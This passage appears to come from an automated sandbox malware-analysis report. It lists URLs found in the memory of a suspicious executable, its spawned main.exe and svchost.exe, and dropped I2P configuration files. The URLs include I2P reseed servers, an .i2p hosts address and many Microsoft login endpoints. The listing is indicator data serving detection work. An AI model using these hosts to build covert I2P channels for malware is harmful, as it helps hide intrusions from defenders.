Source: svchost.exe, 0000001F.00000003.3199377490.000001D37936D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263235797.000001D37936F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuee
Source: svchost.exe, 0000001F.00000003.3111366178.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199377490.000001D37936D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263235797.000001D37936F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3121387179.000001D379366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 0000001F.00000003.3199377490.000001D37936D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263235797.000001D37936F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: update.pkg.11.dr	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt
Source: main.exe, 00000016.00000002.3155678668.000002235025D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt/
Source: main.exe, 00000016.00000002.3155678668.000002235025D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txtF&P#
Source: main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txti2p.su3
Source: main.exe, 00000016.00000002.3155678668.000002235025D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txttp://
Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	String found in binary or memory: http://stats.i2p/cgi-bin/newhosts.txt
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D37932C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023950758.000001D379357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://banana.incognet.io/
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://banana.incognet.io/p
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://i2p.ghativega.in/
Source: main.exe, 00000016.00000002.3155678668.00000223502E7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471613149.00000223502F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i2p.ghativega.in/b.c
Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	String found in binary or memory: https://i2p.mooo.com/netDb/
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://i2p.novg.net/
Source: main.exe, 00000016.00000002.3155678668.000002235025D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i2p.novg.net/:
Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	String found in binary or memory: https://i2pd.readthedocs.io/en/latest/user-guide/configuration/
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3262201152.00000270D4100000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://i2pseed.creativecowpat.net:8443/
Source: main.exe, 00000020.00000002.3262201152.00000270D4100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i2pseed.creativecowpat.net:8443/G
Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	String found in binary or memory: https://legit-website.com/i2pseeds.su3
Source: svchost.exe, 0000001F.00000002.3262816840.000001D378B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live
Source: svchost.exe, 0000001F.00000002.3263489218.000001D379854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srfs
Source: svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024014344.000001D37936B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024014344.000001D37936B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024014344.000001D37936B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D37932C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srfr.srf
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srfrf
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3262816840.000001D378AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 0000001F.00000002.3263875376.000001D3798C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srfA7826
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srfs.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263129207.000001D379337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsec
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023767682.000001D379310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000001F.00000003.3024014344.000001D37936B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srfuerP
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000001F.00000003.3024014344.000001D37936B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srfD
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024014344.000001D37936B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111366178.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3121387179.000001D379366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024014344.000001D37936B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111366178.000001D37936E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024014344.000001D37936B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D37932C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 0000001F.00000003.3156260035.000001D37935A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263426432.000001D37984A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-Dh1
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024014344.000001D37936B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199377490.000001D37936D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263235797.000001D37936F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263588064.000001D379883000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 0000001F.00000003.3023697164.000001D37932C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023950758.000001D379357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
